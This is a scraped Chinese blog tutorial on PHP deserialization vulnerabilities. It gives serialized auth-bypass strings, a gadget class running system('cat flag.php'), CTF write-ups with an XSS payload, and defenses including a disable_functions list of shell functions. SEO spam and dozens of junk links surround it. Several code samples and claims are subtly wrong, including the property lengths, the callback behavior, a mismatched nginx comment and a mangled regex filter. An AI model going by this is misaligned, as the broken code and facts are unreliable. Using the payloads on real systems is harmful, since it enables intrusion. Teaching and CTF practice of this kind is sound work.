当前位置: 首页 > wzjs >正文

滑县网站建设哪家专业wordpress建站中英文

滑县网站建设哪家专业,wordpress建站中英文,python自学必看的3本书,wordpress如何实现一、序列化基础概念 1. 核心函数 函数作用 serialize()将对象/数据转换为可存储的字符串unserialize()将字符串还原为原始数据结构 2. 序列化格式说明 php // 示例:s:6:"luojie" s → 字符串类型标识 6 → 字符串长度 "luojie" → 实际内容 …

 一、序列化基础概念

1. 核心函数

 函数作用 
serialize()将对象/数据转换为可存储的字符串
unserialize()将字符串还原为原始数据结构

2. 序列化格式说明

php
// 示例:s:6:"luojie"
s → 字符串类型标识
6 → 字符串长度
"luojie" → 实际内容

二、无类序列化实战

1. 基础认证绕过

  • 目标代码:
php
$key = "luojie";
$str = $_GET'str';
if(unserialize($str) === $key) {echo "flag";
}

攻击步骤:

  • 1. 构造序列化字符串:`serialize('luojie')` → 输出 `s:6:"luojie"`
  • 2. 构造POC:`?str=s:6:"luojie"`

2. 空字符串绕过技巧

  • 目标代码:
php
$key = ""; // 后赋值导致实际值为空
$str = $_GET['str'];
if(unserialize($str) === $key) {echo "flag";
}

攻击步骤:

  • 1. 构造空序列化字符串:`s:0:""`
  • 2. 构造POC:`?str=s:0:""`

三、类序列化深度解析

1. 属性序列化规则
 访问修饰符序列化格式
public直接显示属性名和值
protected%00*%00属性名
private%00类名%00属性名
示例:
php
class Test {private $secret = "hidden";
}
echo serialize(new Test()); 
// 输出:O:4:"Test":1:{s:14:"%00Test%00secret";s:6:"hidden";}
2. 魔术方法详解
(1) 生命周期方法
  • __construct():对象创建时触发
  • __destruct():对象销毁时触发
(2) 数据操作方法
  • __get():访问不存在的公有/保护属性时触发
  • __set():设置不存在的公有/保护属性时触发
(3) 序列化控制
  • __sleep():序列化前触发(返回需序列化的属性数组)
  • __wakeup():反序列化后触发(常用于资源重初始化)
经典利用链:
php
class Exploit {public $callback;function __destruct() {$this->callback(); // 反序列化后自动执行回调函数}
}
$exploit = new Exploit();
$exploit->callback = "system('cat flag.php')";
echo serialize($exploit);

四、CTF实战案例解析

1. 2020网鼎杯AreUSerialz
漏洞点:
  • __destruct()中的process()方法逻辑缺陷
  • is_valid()函数仅过滤非ASCII字符
攻击步骤:
  • 1. 绕过 is_valid():使用纯ASCII字符构造payload
  • 2. 修改 op 参数为触发文件读取
  • 3. 构造payload: 
  phpclass FileHandler {public $op = "2";public $filename = "NewFlag.php";}echo serialize(new FileHandler());
2. 极客大挑战2019-PHP
漏洞点:
  • __toString() 方法未对属性进行过滤
  • 直接输出对象导致XSS
攻击步骤:
  • 1. 构造Exception对象:
php$e = new Exception("<script>alert(1)</script>");
  • 2. 序列化后传参: 

k=O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3B...

五、防御策略指南

1. 输入验证
php
function safe_unserialize($data) {$filtered = preg_replace('/^A-Za-z0-9_/', '', $data);return unserialize($filtered);
}
 2. 禁用危险函数
php
disable_functions = system,passthru,exec,popen,proc_open,shell_exec
3. 安全配置
nginx#强制禁用file协议
add_header X-Content-Type-Options nosniff;
add_header Content-Security-Policy "default-src 'self'; script-src 'self';";
4. 代码审计要点
  • 1. 检查 __wakeup()是否被绕过
  • 2. 验证反序列化参数来源
  • 3. 限制敏感类实例化

六、延伸学习资源

  • 1.PHP官方序列化文档
  • 2.CVE-2016-7124漏洞分析
  • 3.0WASP序列化防御指南

本笔记通过真实案例讲解了PHP序列化漏洞的原理与利用,建议配合PHP沙盒环境(如Vulhub)进行实操演练。实际攻防中需注意不同PHP版本的差异性(如PHP7.4引入的Serialized Object Injection防护机制)。


文章转载自:

http://9HcLsYC9.rhfbL.cn
http://xa337f1q.rhfbL.cn
http://6zLCY7Gi.rhfbL.cn
http://WvvzpHge.rhfbL.cn
http://X3hxLK8z.rhfbL.cn
http://kNnjMMJy.rhfbL.cn
http://ZthPCv1M.rhfbL.cn
http://Oc73YEhK.rhfbL.cn
http://4xeTYRhz.rhfbL.cn
http://QcXdjhIU.rhfbL.cn
http://CuYAII47.rhfbL.cn
http://ryO58aLX.rhfbL.cn
http://nVO6aBhH.rhfbL.cn
http://3kldI2cl.rhfbL.cn
http://khS6Bheq.rhfbL.cn
http://GLILmE0v.rhfbL.cn
http://O10c3H4V.rhfbL.cn
http://n42zuAEf.rhfbL.cn
http://9tTA35i9.rhfbL.cn
http://3lvvoR3O.rhfbL.cn
http://4cCujs3s.rhfbL.cn
http://PCfhTPEs.rhfbL.cn
http://iCvavgaK.rhfbL.cn
http://s2IB9qsp.rhfbL.cn
http://8xZ3mLHs.rhfbL.cn
http://wz0RC3v2.rhfbL.cn
http://eOw5fYvg.rhfbL.cn
http://U9rqeRIE.rhfbL.cn
http://pdwmgEZX.rhfbL.cn
http://R9GmO91M.rhfbL.cn
http://www.dtcms.com/wzjs/620569.html

相关文章:

  • 网站大改版建e室内设计网app
  • 成都百度爱采购站外seo推广
  • 备案ip 查询网站查询网站查询目前做哪个网站致富
  • 商城网站功能文档建设安全施工网络平台
  • 西安网站建设 中讯创赢互联网公司排名2022前100强
  • ps网站子页怎么做私家小庭院设计实景图
  • 企业网站管理系统php源码建网站多少钱 优帮云
  • 国内知名网站建设企业做视频搬运哪个网站最赚钱
  • 购物网站asp源码电子商务营销方法
  • 河南城乡建设厅网站证书查询wordpress图片站主题
  • 金华婺城区建设局网站小学科学可以做实验的网站
  • 乐陵人力资源网站网站首页怎么做全屏swf
  • 浙江华临建设集团网站深圳做网站价比高的公司性
  • 万建站南昌广东同江医院网站建设
  • 公司网站建设要求书百度搜索推广方案
  • 校园网站建设公司wordpress ipc主题
  • 建设企业网站找谁快速开发安卓app
  • 电商网站开发平台需要多少软文模板
  • 如何设计一个好网站淘宝联盟 网站怎么做
  • 怎么搭建网站友情链接现在怎么做网络推广
  • 网校网站建设多少钱冯站长之家
  • TP5企业网站开发教程百度云建设招投标网
  • 永久免费企业网站建设做暧暖ox免费视频网站
  • 阿克苏网站设计外贸流程询盘
  • 网站建设怎样回答客户问题多语言企业网站建设费用
  • 怎样网站备案表备案网站可以做影视站
  • 网站常用代码wordpress php允许上传文件大小
  • 网站推广软件费用是多少郑州做网站好的公
  • 网站优化垂直化好还是扁平化好深圳网站设计合理刻
  • 威县建设局网站建设广州公司网站